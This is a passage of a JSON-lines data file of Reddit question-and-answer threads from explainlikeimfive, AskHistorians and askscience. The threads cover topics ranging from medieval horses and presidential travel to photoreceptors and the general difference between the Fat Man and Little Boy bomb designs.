thin. They monitored their core body temperatures and the fat man was definitely able to maintain his temperature longer. ", "Purely anecdotal, but I used to be very skinny and now I'm more muscley, cold used to be an extreme and daily problem for me and now I think I'm definitely more in line with everyone else", "Yes. Their organs are better insulated (but it definitely does suck in the heat)\n\nSource: am fat "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "6xxapf", "title": "(please, don't hate) why do so many middle-class suburban white kids like rap music so much?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6xxapf/eli5_please_dont_hate_why_do_so_many_middleclass/", "answers": {"a_id": ["dmj4mr6"], "score": [5], "text": ["1. It is good music regardless of what the lyrics are.\n2. Tales of adventure and sex are appealing, even to people who have neither -- maybe *especially* to people who have neither."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "b8utov", "title": "what does the 'narrative fallacy' actually mean?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/b8utov/eli5_what_does_the_narrative_fallacy_actually_mean/", "answers": {"a_id": ["ek0dy6m", "ek0e5vi", "ek0riqu", "ek0uuhw"], "score": [41, 12, 2, 2], "text": ["Humans have a natural tendency to connect events and find patterns, it's a much stronger disposition for us than the inclination to believe things are just random. So much so that even if given a lot of truly random pieces of information, events, etc, people will still be able to find connections, or a \"narrative\", between them or an overarching idea for what it is they have in common.    \n\n\nAny idea that infers a connection where random coincidence is a possibility for no other reason than because of a bias towards patterns over randomness, is guilty of the narrative fallacy. ", "It's our tendency to oversimplify the complexity of real world events into a simple, linear chain of cause-and-effect, a meaningful story with a beginning-middle-end, a defined hero, a bad guy, etc. \n\nIt's useful because it helps us make the world coherent, but in fact, the reality is often incoherent: events don't happen in isolation, they can have multiple causes, and everyone is the hero of their own story. We all make things into a narrative to some degree, and we need to in order to impose order on our understanding of what's going on around us, but anyone who thinks they've \"got it all figured out\" is usually falling victim to the fallacy. \n\nAn extreme example would be people who believe everything bad is caused by the Illuminati, because the idea that societal ills are the result of a complex network of causes involving human nature, multiple groups, multiple motivations and random chance, is simply too complex to shape into a narrative that gives clarity.\n\nIt's important to recognise that each person's version of reality is at best a \"good enough\" representation of the facts.", "If when you have a crazy theory, and use anything loosely going its way as evidence.\n\nFor example: If a nazi quotes a jewish guy talking positively about immigration, he will use it as a proof that his narrative \"*the jews are replacing us*\" is true.\n\nOther example: those two articles that have nothing to do with each other, but I have a narrative so it does  _URL_0_", "Is this guy in school and using this as an easy resource or something? \n\nA lot of connected questions over the past week."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.defendevropa.com/wp-content/uploads/2017/07/5966546dd63bf-1.jpeg"], []]}
{"q_id": "3gw90k", "title": "Why do statues of Rameses II not resemble his mummy?", "selftext": "According to wikipedia, Rameses II had an \"aquiline nose and strong jaw line\". Pictures of his mummy also show a fairly wide mouth. But contemporary statues of him show a much different face. Was this artistic liscence? Poor art-manship (hard to believe)?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3gw90k/why_do_statues_of_rameses_ii_not_resemble_his/", "answers": {"a_id": ["cu70or5"], "score": [2], "text": ["Egyptian art is idealized, not realistic. Artists were concerned with creating a sense of strength, perfection, and timelessness, not crafting accurate portraits. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6cn2ar", "title": "Prior to flight, how often would the US President or leaders of countries visit far away countries' leaders? When did large scale foreign trips become commonplace?", "selftext": "[deleted]", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6cn2ar/prior_to_flight_how_often_would_the_us_president/", "answers": {"a_id": ["dhw9ng8", "dhwx51c", "dhy4gky"], "score": [114, 11, 2], "text": ["The short answer for this is that Woodrow Wilson was the first sitting president to travel to Europe when he joined the Paris Peace Conference and the Treaty of Versailles. The intent of his trip was to push his The Fourteen Points at the conference in order to create a sustainable peace with a democratic institution--the League of Nations--mediating global events. \n\nWilson travelled to France on the *George Washington* with his wife in December 1919. They were welcomed with large crowds carrying signs reading \"Hail the champion of the rights of man\" and \"Wilson the Just.\" Wilson travelled around England and Italy before the conference but the secondary sources I'm reading from don't mention if he met with heads of state before the conference. It does say that reporters travelling with the President wrote home about the large crowds greeting him at every stop he made. \n\nNeedless to say, Wilson did not fly to the conference. While Roosevelt was the first President to fly in 1910, Wilson's trip to Europe in December came some six months after the first transatlantic flight by British aviators John Alcock and Arthur Brown in June of the same year. \n\nSo to answer your question: Wilson's trip is probably the first \"large scale foreign trip\" and these would become relatively common place by the time FDR was meeting up with Churchill and Stalin--again by boat--so these trips were more or less common before flight was a safe form of transportation. \n\nMy knowledge of this comes from [Standing at Armageddon](_URL_0_) by Nell Irvin Painter.", "The first US President to travel abroad while in office was Theodore Roosevelt, who visited Panama in November 1906 to inspect the Panama Canal construction. So for the first 117 years of America's history, no sitting president ever left the country. Roosevelt's successor, William Howard Taft, also visited the Panama Canal Zone as president-elect, and Mexico as President. After that was Wilson, who made two lengthy trips to Europe, about two months long each. Since then, every president has traveled abroad while in office, some more than others, with the exception of Herbert Hoover, who did travel as president-elect but not while president.\n\nSource: [US State Department, Office of the Historian](_URL_0_).\n\nThe first president to travel extensively by air (in fact, the first president to fly while in office at all) was Franklin Roosevelt, who visited Europe by Boeing 314 flying boat and used a C-54 Skymaster for domestic US travel. Since his presidency, every president has traveled by air. President Eisenhower was the first to use the classic Boeing 707-based Air Force One aircraft in 1959.", "Did Presidents send (for example) telegrams to other world leaders in the 19th century?  Was there anything similar to a classified telegram, and how did that work?  Was there a White House telegram station or would the President and his staff have used public facilities?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://history.princeton.edu/about/publications/standing-armageddon"], ["https://history.state.gov/departmenthistory/travels/president"], []]}
{"q_id": "2v37qj", "title": "Do photoreceptors of the eye respond to light wavelength or frequency?", "selftext": "I can strangely enough not find any info on this. The question seems important to me because a refractive medium would change the speed and wavelength of light, but not its frequency. Does the perceived color of an object change based on the refraction of the medium (photoreceptors sense wavelength) or not (photoreceptors sense frequency)? Intuitively I would assume frequency, but there might also be a physiological reason I am not aware of why people use the wavelengths as a reference measure.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2v37qj/do_photoreceptors_of_the_eye_respond_to_light/", "answers": {"a_id": ["coe5g03", "coe7jty", "coef8bk", "coegh50"], "score": [15, 3, 2, 2], "text": ["Your question doesn't **exactly** make sense. The wavelength and frequency of a photon are two aspects of the same thing. So, this is like asking, \"Is the speed of a car determined by how many times the wheels turn in a given time or the distance the car travels in a certain time?\"\n\nSince the speed of light is constant, the frequency and wavelength will be inversely proportional to one another. The higher the frequency the shorter the wavelength. The lower the frequency the longer the wavelength. You can't change one item without changing the other. Therefore, it's best to say that photoreceptors respond to a specific portion of the spectrum of electromagnetic radiation. Whether you choose to use frequency or wavelength to describe that spectrum is up to you because they're basically different aspects of the same thing.", "If you wanted to perform your experiment, hitting a photoreceptor protein with light of constant frequency but varying wavelength, then you'd have to change the refractive index of the medium in which the protein is embedded. Photoreceptor proteins, like all proteins, change their shape and properties depending on the surrounding medium. You would not be able to tell whether the protein's change in response would be due to the change in light wavelength or due to the change in protein shape.\n\nIf you don't want to change the medium in which the photoreceptor protein is suspended, you could for instance use the medium of the photoreceptor proteins in the human eye, and keep that fixed. You could then expose the eye to constant-frequency light of varying wavelength (by changing the medium outside of the eye). Then the answer is clear: the light's frequency matters to the eye, not the light's wavelength. The reason is that the inside of the eye will never \"know\" the wavelength of the light outside of the eye, only its frequency. The wavelength of a photon will change as it enters the eye, but its frequency will stay the same. Two photons of equal frequency but differing wavelength that hit the eye will result in photons of equal frequency (and wavelength) inside the eye.", "The visual cascade is started by an [opsin](_URL_0_) protein ***absorbing*** a photon. So why not focus your question to \"***Do molecules absorb photons based on frequency or wavelength?***\". I'm a biochemist not a physicist so unfortunately I can't help you with the answer to this new question.  If the answer is that it depends on the molecule, one could look up the amino acid residues are responsible for the absorption to find your answer.  ", "Photoreceptors respond to the energy of a photon, because it is the energy of a photon that determines whether or not a photon can excite the electrons in a molecule to a higher energy state and induce the conformational change in the photoreceptor which triggers a series of chemical reactions which ultimately \"communicate\" that you are seeing light. ~~The energy of a photon is determined by this equation: E=hc/\u03bb (Energy = plank's constant*speed of light/wavelength). So to answer your question it is wavelength that the photoreceptors of the eye respond to.~~(See response below)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["en.wikipedia.org/wiki/Opsin"], []]}
{"q_id": "cbsf85", "title": "Are we being duped into buying beauty products?", "selftext": "Is it truly nonsensical to apply treatments to your skin and hair? Am I really wasting money on vitamin e oil, and other beauty and health products? I was told today that the body doesn't absorb from the outside, rather only from within. I was all on board believing that, but now I'm thinking about all the Epsom soaks I take and keratin hair treatments... what's the dealio?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/cbsf85/are_we_being_duped_into_buying_beauty_products/", "answers": {"a_id": ["eti5vow", "etidk2n"], "score": [13, 7], "text": ["There's no simple yes or no answer to that, it's a lot of grey.\n\nBroadly speaking, most of those beauty treatments may be beneficial for your son and hair, but they won't be any better than a cheap moisturizer, conditioner, etc.\n\nThe skin can absorb various things - oils, water (also salt in water), etc. Mostly, these things will not penetrate very far, staying mainly in or on the epidermis. Given that the epidermis mostly consists of dead cells, you won't revitalize them more if your moisturizer has added vitamins or hyaluronic acid or whatever other \"wonder chemical\" is included.\n\nEverybody is a bit different, so there may be products that work better for you than others. It may also change over time. It's also very possible that your vitamin infused oil helps your skin more than other products, but it's not because of the vitamin e. It's some combination of the other ingredients coincidentally suiting your skin well.\n\nWith all the subtle differences in composition, there's really no good way to predict what would work best for a specific person, but it's not necessarily connected to the price tag.\n\nMy advice would be, experiment a little with different things. Get a small amount of a cheaper brand of moisturizer, try it for a little while. See how it works for you, and either enjoy it or try a different one. Do it one by one if you want to reduce wasted cash and product.\n\nBeauty products, like diet products and fitness gear, often have some small amount of actual science that sounds like it should make the product with better. Most of the time, whatever benefit or effect they claim, is so minor you'll never notice.", "the question that helped me to come at terms with reality was \"why do dermatologists age and have wrinkles and look not so good as they supposed to if all that stuff exists and works?\"\n\nif we're not speaking about makeup, which is basically the colored masking layer for anything that's beneath it, we have very little options, and most of them fall under \"preserve what you have as much as you can and as long as you can\" motto. the skin's beauty is mostly its youth and ability to keep water inside cells. you try to make that water stay inside by minimizing water loss and retaining the ability of your skin to hold water in your cells. you either have skin that's not damaged by the sun and harsh weather and it's hydrated and smooth or you have dehydrated damaged skin that is not able to retain the moisture."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "658me5", "title": "if gravity on mars is only about 38% of gravity on earth, how would this effect the flow of water?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/658me5/eli5_if_gravity_on_mars_is_only_about_38_of/", "answers": {"a_id": ["dg8b32q", "dg8fssh", "dg8owhu"], "score": [17, 4, 2], "text": ["I big ways? Probably none. Water will still tend to the lowest point. Boiling and melting point would be a little lower so it would take longer to cook spaghetti. ", "When used this way, \"effect\" means \"cause.\" You mean \"affect,\" which, when used this way, means \"influence.\"\n\nWater would flow more slowly than on earth. Boiling and melting points, as mentioned, would be different, but that also depends on the air pressure.\n\nWait -- is there air on Mars? Maybe we can't answer your question!", "Provided all other conditions such as the atmosphere and temperature were identical to Earth, the Lesser gravity would allow bigger waves, and they would also be steeper. There is a formula that relates the size of a pile to the gravitational pull it experiences but I can't remember it right now.\n\nAs for normal flowing as in say a river, I don't think that would change much other than the acceleration required to move a current. In other words, the distance on Earth is much shorter, then the distance on Mars for the river to reach the same speed of flow. However, given that the density of the water is the same, the river would still push objects the same way it does on Earth, things would float in it the same way they do on Earth."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "4vqzni", "title": "how do olympic athletes who play a sport that doesn't have professional leagues (fencing, rhythmic gymnastics, etc) practice and train year round?", "selftext": "If they have to take a regular job to pay the bills. Or are they sponsored by a sports organization or their national Olympic committee? Is performance abilities in those less commonly watched sports stunted because athletes aren't playing and training every day like those with professional leagues or prize money?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4vqzni/eli5_how_do_olympic_athletes_who_play_a_sport/", "answers": {"a_id": ["d60ox2e", "d60riz0", "d60v902", "d61408q", "d61apdu"], "score": [11, 23, 8, 2, 2], "text": ["The entire purpose of the olympics is to provide a competition for sports without their own major leagues (hence why it's a common belief sports like golf shouldn't be in the olympics).\n\nAnd yes they do need to have day jobs, being an athlete doesn't pay outside of the actual olympics. And they also have to balance in their training", "To correct you on the misconception, all the sports in the Olympics have leagues but its not televised (if at all) like what most Americans are use to (i.e. NFL, NBA, and MBL). \n\nThese leagues (fencing and etc.) are funded through 4 main sources: \n\n* Industry advertisement/sponsorship. \n* The association of the sport pays for some of it (each sport has an association that organizes these competitions)\n* Competitors paying entrance fees\n* Audience fees.\n\n > If they have to take a regular job to pay the bills. \n\nIt really depends on the country but generally yes they take a regular while doing this. In some cases the regular job is just an offshoot of their training (coaching) or completely unrelated (waiter). \n\n > Or are they sponsored by a sports organization or their national Olympic committee? \n\nAgain really depends on the country. For example, China provides a lot of amenities for their athletes. \n\n > Is performance abilities in those less commonly watched sports stunted because athletes aren't playing and training every day like those with professional leagues or prize money?\n\nNo! They play and train as much as any other professional athlete. \n\nedit: If an Olympic athlete gets popularity they can also get income through additional sponsorships and advertising deals (whats common for USA athletes). ", "In addition to what /u/tomanonimos said I like to point out two of the most common jobs among athletes in sports that do not bring in a lot of money:\n\nSoldiers and cops\n\nIn many countries if you work for the state there are special time allowance for training and competitions.\n\nE.g. in Germany there is the \"Sportsoldat\" (lit. sport soldier), their sporting activities are partly financed by the military and they only need to perform reduced services and duties to allow them to concentrate on their training.\n\nAs for the scale of these sport soldiers (resp. sport cops), in the winter olympics of 2010 only the curling and hockey team of Germany didn\u00b4t have at least one state sponsored athlete. Overall 1820 athletes in Germany work for either the military, the police or the fire department.", "To add on the Do they get day jobs? Question: several companies in the US intentionally hire Olympic hopefuls and brag about it in their advertising. I remember Home Depot making a big deal out of it when I worked for them years ago, [but it seems to be over](_URL_0_). I'm sure other companies still have similar arrangements though. ", "I dated a woman who was an Olympic level platform diver, she was a chartered accountant in Calgary. Two 1.5hrs+ training sessions plus gym work and a full corporate day, that bitch was tough. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://www.npr.org/templates/story/story.php?storyId=99175024"], []]}
{"q_id": "7xmr5t", "title": "In fiction set in medieval (or faux-medieval) times, it seems like people's horses are constantly dying, especially in battle. How dangerous was it to be a horse in medieval (say 1100-1400AD) Europe?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7xmr5t/in_fiction_set_in_medieval_or_fauxmedieval_times/", "answers": {"a_id": ["du9z2pd", "duai0bu", "duaqsww", "dubhmji"], "score": [187, 70, 4, 2], "text": ["Follow up question. Did veterinary care exist in that period?", "John Clark has a book called The Medieval Horse and its Equipment c1150-1450 which is where I'll be pulling this information. The book is based on Findings from excavations in London so this will be relevant primarily to working horses rather than horses used in battle.\n\nThe first important thing to consider is that while horses were certainly a common in London most people did without. \n\nFor example when the king was moving his household in 1285-6 over 1000 horses were ferried across the Channel to provide transport for the royal party. The largest concentration of horses regularly seen in London was the  horse fair held weekly at Smithfield. \n\nHowever while horses were certainly a common sight most Londoners wouldn't have owned horses though they could be hired at considerable expense. Buying a riding horse would have cost something like 6 months to a years wages for a skilled London craftsmen and then come with an expensive upkeep. In 1389 there was an attempt to reduce the expense of the annual procession that accompanied the new new sheriffs to their presentation at Westminster one of the major expenses most objext to was the cost to 'the men of divers trades' of hiring horses to ride in the procession.\n\nIt's difficult to directly answer the question about how dangerous a horses life would have been but here are some details.\n\nA modern horses functional life as a draught or riding animal is between 18 or 20 years of age. Heavily used, overworked, maltreated, and underfed animals would probably have a shorter functional life. The expenses of keeping a horse in a city like London probably meant that the horse would be unlikely to be kept beyond it's economic usefulness. \n\nHorses are frequently aged based on having groups of incisors and in London there are two excavations that have found groups of incisors.\n\n* Six horses at one site (LUD82) were aged from 7-14.5 years.\n* A late saxon horse (IRO80) was between 7  &  8 years old.\n\nUsing post crainal bone development most horse remains from medieval sites were adults older than 4 years of age and probably older than 7. Only two bones indicate animals less than 4 years of age out of the hundreds of bones that have been recovered and both of those were from a middle Saxon site. \n\nNone of the individual horse teeth that have been found show the level of tooth wear that would be expected on an animal of 18-20 years old.\n\nEvidence of the cause of death is also very uncommon. One horse (from LUD82) shows evidence of it's death. That horse seems to have been pole-axed in the head causing a large depression in the top of the cranium. After being stunned from the pole-axe probably had it's throat cut or was decapitated.\n\nA second skull from Ludgate Hill (LH74) shows evidence of decapitation wince it carries a chop mark across the basal part of the occiptal condyles where the head joins the neck.\n\nSlaughter of horses at an early age suggests that maltreatment, accident, underfeeding and disease was probably common for horses without access to modern veterinary science. \n\nWhere sex could be determined in the horses (only 8 out of the hundreds found) all were male. This may indicate that mares would have been valuable for breeding purposes and kept largely outside of London. The unwanted geldings would have then been used as draught and riding animals.\n\nTL;DR if you were a horse in Medieval London you were probably male, brought in as an adult, lived a hard relatively short life, and then were killed when you cost more to keep than you were worth. \n", "Follow up question: how would horse survival rates compare to those of WW1?", "Do we have any idea of what percentage of horses would likely fall in a battle? With arrows and spears raining down it always seemed to me like the poor horses had an awful time of it. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "6s1f4g", "title": "When their tank was de-tracked, would some of the crew attempt repairs whilst under fire?", "selftext": "Edit: Should specify I'm asking about WW2 tank crews", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6s1f4g/when_their_tank_was_detracked_would_some_of_the/", "answers": {"a_id": ["dlmwgr4"], "score": [2], "text": ["Most likely not.  In several cases, tanks being tracked lead to one of two things.  The tank being stationary and fighting back until it was destroyed or the crew ran out of ammo or the crew skipping that and immediately bailing out of the tank.  Either way when AT crews or tank crews aimed for tracks, it was likely due to the fact the tanks actual armor was impervious to their guns.  A good example of this is the Russian KV series during 1941-42 where the German 37mm and short barreled 75mm were completely incapable of penetrating the KV at any range and angle, resulting in tank and AT crews aiming for the tracks to immobilize.  At that point artillery and/or close air support would be called in to finish the tank off. \n\nIn these conditions, attempting to fix the track under fire would be suicide, and most crews opted to stay inside their tank or get out and make a break for it.  \n\n "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "11yjr1", "title": "What has been the most important/balance altering thing to happen just before an election", "selftext": "They mentioned in the debate last night that it was the 50th anniversary of the Cuban Missile Crisis, which got me wondering what would have happened if that had been an election year. It seems like it would have essentially overrode every other possible campaign issue and turned the election into a direct referendum on JFK's competence during the first two weeks of the crisis, creating huge pressure to handle it quickly and popularly, perhaps changing the course of history.\n\n\nWhen has such an impactful event occurred just before a democratic transference of power (in any country), and what effects did the imminent election have on how it was handled?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/11yjr1/what_has_been_the_most_importantbalance_altering/", "answers": {"a_id": ["c6qn4gv"], "score": [5], "text": ["The elections in spain in 2004 come to mind. They were influenced by the train bombings in Madrid which happened close to the election.\nThe incumbent government hinted that ETA were responsible which hurt them when it became clear that it was Islamist militants who were behind it.\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Spanish_general_election,_2004"]]}
{"q_id": "a3q2tr", "title": "does destroying large amounts of cash add value back into the economy? does it decrease inflation?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a3q2tr/eli5_does_destroying_large_amounts_of_cash_add/", "answers": {"a_id": ["eb85c4n", "eb85gjy", "eb867fh", "eb86awz", "eb8g2eh"], "score": [8, 10, 3, 3, 2], "text": ["Theoretically, yes. But you'd have to do it with a *lot* of cash (which isn't even close to the majority of the money in circulation) and have it go unnoticed by the fed who would probably try to fix it by replenishing the cash money supply.", "No. \n\nThe reason being is the over 99 percent of our money doesn\u2019t actually physically exist. Most of it exists only in computers at the bank and the federal reserve. \n\nBack in the 90s there was only 400 dollars of physical currency in circulation for every person in the country. I don\u2019t know what the amount is now, but it hasn\u2019t changed much. \n\nSo even if you were to destroy ALL of the paper money in circulation, it would affect less than one percent of actually currency in the economy. \n\nIt would be expensive to print more money, but it wouldn\u2019t necessarily have a huge impact on the over all economy. Besides the immediate panic at there being no dollars around for buying lottery scratch off tickets and whatnot. ", "The idea of destroying a lot of money in order to add value back into the economy would theoretically work to decrease inflation, but it would be really unpleasant for the economy for a very long time.\n\nThe Phillips curve describes a fundamental rule of microeconomics-- inflation and employment are fundamentally related. In other words, one easy fix to a higher unemployment rates is to print more money, but the cost is inflation. \n\nThus your idea to destroy money to reduce inflation would work, but the cost would be a proportional loss of employment. ", "It does not add any value back into the economy: it creates nothing new of value, nor does it affect the utility of all currently-existing goods and services.\n\nIt might cause some theoretical decrease in *prices*. But that's not making anything more or less valuable, it's just changing the measurement system.", "Theorically yes, but you should burn trillions, and I think that trillions of physical dollars don't actually exist"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "8pb285", "title": "Chemically, why was the Fat Man more powerful than the Little Boy? (The nuclear bombs dropped on Hiroshima and Nagasaki)", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/8pb285/chemically_why_was_the_fat_man_more_powerful_than/", "answers": {"a_id": ["e09vp31", "e09vuns", "e09wo8f", "e09xjlt", "e09xktt", "e0a250x", "e0a680p", "e0aw17n", "e0ayefq", "e0bguqw", "e0brat7"], "score": [103, 6281, 800, 293, 99, 11, 24, 2, 2, 2, 3], "text": ["Little Boy used over 10 times as much fuel by mass (uranium) than Fat Man (plutonium) but the design of Fat Man was over 10 times as efficient. Their estimated explosive forces are of the same order of magnitude.\n\nLittle Boy used a gun-type design that pushed a chunk of uranium into a casing of uranium to get supercritical mass. Fat Man used an implosion-type design that pushed ~~two hemispheres~~ of plutonium together. Little Boy was significantly simpler than Fat Man, but weapons-grade uranium is harder to produce than weapons-grade plutonium, but the plutonium gun-type design would have been 17 feet (5 meters) long and had trouble staying in the necessary position to detonate.\n\nChemistry-wise, plutonium has a lower critical mass, the mass required to achieve detonation. Pu-239 has higher fissile probability and produces more neutrons than U-235 per fission event. Pu-239 can be formed into very large subcritical masses due to its stability.\n\nEdit: typos", "There are mechanical differences as well as chemical differences that account for the difference in explosive power of the Fat Man and Little Boy:\n\n**Fat Man**:\n\nUsed about 13.6 lbs. of plutonium in an implosion, caused by surrounding the plutonium in nearly 3 tons of conventional explosives. Plutonium releases about 210 MeV of energy per fission. Total explosive power of the Fat Man was about 21,000 tons of TNT, which is 5.48404 x 10^32 eV.\n\n**Little Boy**:\n\nUsing a gun mechanism, a 85 lb. hollow \"bullet\" made of uranium is shot into a 55 lbs. mass of uranium, causing it to go critical. Uranium releases about 200 MeV of energy. Little Boy's explosive power was about 15,000 tons of TNT, which is 3.91717 x 10^32 eV.\n\nMost likely, the initiation mechanism for the Fat Man was just more efficient, causing more atoms to undergo fission. This would make sense if you think about an implosion vs a gun barrel mechanism. Doing the math, you'd find that 2.61144762 x 10^24 atoms of plutonium underwent fission. For the uranium, it was 1.958585 x 10^24 atoms. To calculate the efficiency of the bombs, you'd have to know their relative atomic densities, but I can't find that information.\n\nEdit: fixed notation and which mass of uranium was shot into which.", "For the implied backup question: why did they go with one design over the other?\n\nThe explosives needed to make Fat Man work had to be incredibly precise. If they all didn't go off in the exact correct shape at the exact right time, it would have shot the Plutonium out of the shell like a cannon instead of compressing it. Frankly, the explosives were possibly a greater engineering challenge than the nuclear part. \n\nLittle Boy was much simpler, engineering-wise. They both took an astronomical amount of resources to build, but Little Boy they were almost positive would work. Fat Man was much more efficient, but required testing and had a higher potential failure rate. We went with Fat Man style bombs going forward, hence all the nuclear testing, but we had Little Boy as backup to make sure *something* went off.", "Hi. Former DOE nuclear weapons guy here. First of all, the weapon effects are nuclear (not chemical) in nature. The simple answer to your question is that the weapons were different in design (gun vs. implosion type) as well as how much special nuclear material (SNM) and the types of SNM used. Little Boy was designed as a low-efficiency but high probability of success device. Gun type weapons are a pain in the ass as U-235 is hard to refine and the design tends to go supercritical too quickly. Perhaps the ultimate gun-type design was the W33 artillery fired atomic projectile (AFAP). Fat Man was a single stage implosion device. More complex due to designing explosive lenses/timers/detonators to get a good burn. In the end, most countries ended up using imposion-type primaries with plutonium or hybrid plutonium/uranium pits and secondaries/tertiaries using both SNM and lithium deuteride. \n\n(TL/DR) Kinda like comparing the performance of cars. Lots of different variables and design constraints come into play. ", "Fission-based nuclear weapons work through a chain reaction of neutrons hitting atoms, releasing neutrons, which hit other atoms, and release more neutrons. It\u2019s all about neutrons. More neutrons hitting the fissile material means more energy. Put enough neutron producing radioactive atoms together, and you have a runaway chain reaction. \n\nHowever, when you set off the weapon, it explodes (because of the runaway reaction). The energy tears apart the weapon, which ends the reaction. This is potentially quite inefficient, as not all of the material actually gets to undergo fission.  \n\nLittle Boy used a \u201cgun type\u201d mechanism, essentially a cylinder where a \u201cbullet\u201d of uranium hits another piece of uranium. One was hollow, but this is a simple mechanism and the combination process is sort of two dimensional - one thing is pushed into another thing. Quickly, the reaction blows up the entire fissile material involved, and the reaction ends. It is an extremely inefficient design in terms of the fissile material involved. \n\nFat Man used a more advanced technique where the fissile material is imploded all at once from all sides. This is a three dimensional method of pushing everything together using conventional explosives, and achieves a higher density of fissile material. More material together all at once in a tighter, more compressed space, means more neutrons. More neutrons means a bigger explosion. Even though it is just a brief instant while the fissile material is compressed together, many more atoms are able to experience the reaction. This is more efficient and creates a larger explosion. (They used Uranium versus Plutonium, but the fundamental difference was in how the reaction was set off and the larger power of fat man was primarily due to the more advanced design.)\n\nHowever, both are fairly inefficient. Little Boy only used around 1-2% of its fissile material, and Fat Man only used about 17%. \n\nThermonuclear weapons can be much more efficient, since the fusion reaction produces a lot of neutrons all at once. Surround the reaction with fissile material and almost all the fissile material will be hit with neutrons before it is torn apart. This works even for fissile material that can\u2019t support a chain reaction on its own, because you are supplying the neutrons from the fusion reaction. This method can efficiently use all the fissile material because you have a large amount of neutrons hitting it, and provides a huge amount of energy (much of the energy in thermonuclear weapons is actually through this process, not the primary fusion reaction).", "The basic concept of a nuclear weapon is actually pretty simple: you rapidly increase the density of a mass of fissile material well past its critical point, thereby releasing about 850 keV of energy for each amu of reacted mass (~74 GJ/g for U-235, ~76.5 GJ/g for Pu-239).  For comparison, the energy density of gunpowder or natural gas is about 11 J/g.\n\nIn Little Boy, this was done by driving a subcritical mass of U-235 into another subcritical mass of U-235, in a \"gun type\" configuration.  There's a few different ways to do this, but the easiest way to picture it is explosively pushing a hemisphere of metal into another, or firing a rod into a hollow cylinder.\n\nUnfortunately, doing it this way is slow, relative to the increase in reactivity; as the fissile chunks come together, reactivity spikes well before the sphere is whole, and the released energy starts pushing them back apart - so you end up not fissioning very much of the available fuel - only about 1.5%.  On the \"up\" side (as far as \"up\" sides go for making weapons of mass destruction), it's a much easier weapon to build correctly.\n\nIn Fat Man, the strategy was to explosively compact a hollow sphere of Pu-239 into a solid sphere.  This was done with high-powered shaped charges and inertial tampers (basically, added mass for the pushing).\n\nThis has a couple of advantages.  First, the condensing sphere becomes reactive more slowly, giving inertia more time to work.  Second, since the material is still mostly solid, there's some extra resistance to the nuclear-induced rebound.\n\nAll this results in a _much_ larger percentage of the fuel getting burned - about 16%.\n\nThe choice of fuel had a little sway over the difference in yield - accounting for a 3% increase per gram of fuel - but the efficiency and higher burn rate meant that, despite having less fissile content, Fat Man burned about 10% more mass of nuclear fuel.", "I realize there are other answers, but I thought I would get this in. \n\nThe reason for the difference in explosive yield was not chemical, but rather efficiency.  Both were fission bombs and are not terribly efficient to begin with.  Thermo-nuclear bombs (i.e. two+ stage fusion bombs) are much more efficient, but have never been deployed in warfare.  Fission bombs use either a gun-type or explosion type method.\n\nA bit of background; uranium or plutonium (or any radioactive material for that matter) have what is called a 'critical mass'.  That means if you collect enough of it in a small enough space, it will go critical (i.e. explode).  This is because radioactive elements decay and produce particles.  In sub-critical masses, these particles mostly escape.  In critical masses, these particles hit enough nuclei of other atoms to cause them to explode and release even more particles.  So if you have enough material in a small enough space, too many particles hit other nuclei and cause a chain reaction which results in an explosion.\n\nThe gun type method is basically two sub-critical masses which are brought together to make a critical mass.  There is a 'bullet' and a 'target'.  The only real requirement is that both the bullet and target are sub-critical, but together are critical.  Usually, they are of similar masses for efficiency, but that doesn't matter too much.  To activate, simply throw the bullet at the target really hard. \n\nThe explosion type method has a mass of material that is sub-critical because of its low density.  Consider a hollow sphere for example.  It is made critical not by adding more mass like the gun method, but instead by compressing into a smaller space, thus increasing its density and making it critical.  The compression is achieved with a bunch of shape charges meant to focus power inward, and thus compress the sphere into a smaller ball.\n\nIn both cases, when a critical mass is formed, it wants to explode.  Explosion decreases density because the fissile material is now spread out, which makes the whole system sub-critical again.  It is kind of like pushing two repelling magnets together; the stronger you push, the stronger they repel.\n\nThe explosion type method was more efficient because the explosion was compressing the fissile material more or less equally from all directions with great force.  If you slow it down, the shape charges push the material in tighter and tighter, and when it achieves critical mass, it starts pushing back.  But the shape charges were quite powerful and were able to make the mass even denser and keep it at that density longer before the force of the nuclear reaction won out causing an outward explosion.\n\nThe gun type method only had pressure from one direction.  When the mass went critical, it was allowed to expand in all other directions without resistance, which meant that the whole mass was not critical for very 